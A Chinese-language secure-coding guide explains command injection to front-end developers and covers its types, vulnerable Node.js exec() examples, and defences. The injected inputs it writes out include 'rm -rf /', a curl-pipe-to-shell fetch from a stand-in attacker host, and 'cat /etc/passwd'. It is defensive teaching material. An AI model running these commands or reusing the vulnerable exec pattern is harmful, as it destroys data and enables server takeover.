命令注入
威胁描述
命令注入是一种攻击方式,攻击者通过在用户输入中插入恶意命令,使服务器执行非预期的系统命令。虽然命令注入主要发生在后端,但前端开发者也需要了解其原理和防御措施,因为前端输入验证是防止命令注入的第一道防线。命令注入可能导致服务器被完全控制、数据泄露、服务中断等严重后果。
类型分类
1. 直接命令注入
攻击者直接注入完整的命令,服务器直接执行。
2. 间接命令注入
攻击者通过修改环境变量、配置文件等方式,间接诱导服务器执行恶意命令。
3. 盲命令注入
攻击者无法直接获取命令执行结果,但可以通过其他方式(如时间延迟)推断命令是否执行成功。
工作原理
- 应用程序接收用户输入并将其拼接到系统命令中
- 攻击者构造包含恶意命令的输入
- 应用程序未对输入进行适当验证或过滤
- 恶意命令被执行,造成危害
示例代码
1. 简单命令注入
// 前端代码
const filename = document.getElementById('filename').value;
// 不安全的后端代码(Node.js)
const { exec } = require('child_process');
exec(`ls -la ${filename}`, (error, stdout, stderr) => {
// 处理结果
});
// 攻击者输入
// filename: ; rm -rf /
// 执行后的命令
ls -la ; rm -rf /
2. 命令注入与文件上传结合
// 前端代码
const uploadPath = document.getElementById('uploadPath').value;
// 不安全的后端代码(Node.js)
const { exec } = require('child_process');
exec(`mkdir -p ${uploadPath}`, (error, stdout, stderr) => {
// 处理结果
});
// 攻击者输入
// uploadPath: /tmp/evil; curl https://attacker.com/malware.sh | sh
// 执行后的命令
mkdir -p /tmp/evil; curl https://attacker.com/malware.sh | sh
3. 前端未验证的输入
<!-- 前端表单 -->
<form action="/process" method="POST">
<input type="text" name="filename" placeholder="文件名...">
<button type="submit">处理</button>
</form>
<!-- 攻击者输入到文件名框 -->
file.txt; cat /etc/passwd
防御措施
1. 前端输入验证
在前端对用户输入进行基本验证,过滤潜在危险字符:
// 验证输入是否只包含字母、数字和部分安全字符
function validateFilename(input) {
const regex = /^[a-zA-Z0-9_\-\.]*$/;
return regex.test(input);
}
// 表单提交时验证
document.getElementById('fileForm').addEventListener('submit', function(e) {
const filename = document.getElementById('filename').value;
if (!validateFilename(filename)) {
alert('文件名包含非法字符');
e.preventDefault();
}
});
2. 后端输入验证和白名单
在后端对用户输入进行严格验证,只允许预期的格式和字符:
// 后端验证文件名
function validateFilename(filename) {
const regex = /^[a-zA-Z0-9_\-\.]*$/;
return regex.test(filename);
}
// 使用白名单限制允许的命令参数
const allowedCommands = ['list', 'view', 'download'];
function validateCommand(command) {
return allowedCommands.includes(command);
}
3. 避免直接执行系统命令
尽量避免使用exec、system等函数直接执行系统命令。如果必须使用,使用安全的方式:
// 安全的方式:使用参数数组
const { execFile } = require('child_process');
execFile('ls', ['-la', filename], (error, stdout, stderr) => {
// 处理结果
});
4. 最小权限原则
为应用程序运行的用户分配最小必要权限,限制潜在损失:
- 避免使用root或管理员权限运行应用程序
- 限制对敏感目录和文件的访问
最佳实践
- 避免直接执行系统命令,尽量使用编程语言内置的函数和库
- 如果必须执行系统命令,使用参数数组而非字符串拼接
- 在前端和后端都实施输入验证,但以后端验证为主
- 使用白名单限制允许的输入和命令
- 为应用程序运行的用户分配最小必要权限
- 定期进行安全测试,包括命令注入测试
- 保持操作系统和应用程序的更新,以防止已知漏洞被利用
- 实施命令执行审计日志,记录所有系统命令操作
- 考虑使用安全沙箱环境执行系统命令,限制其影响范围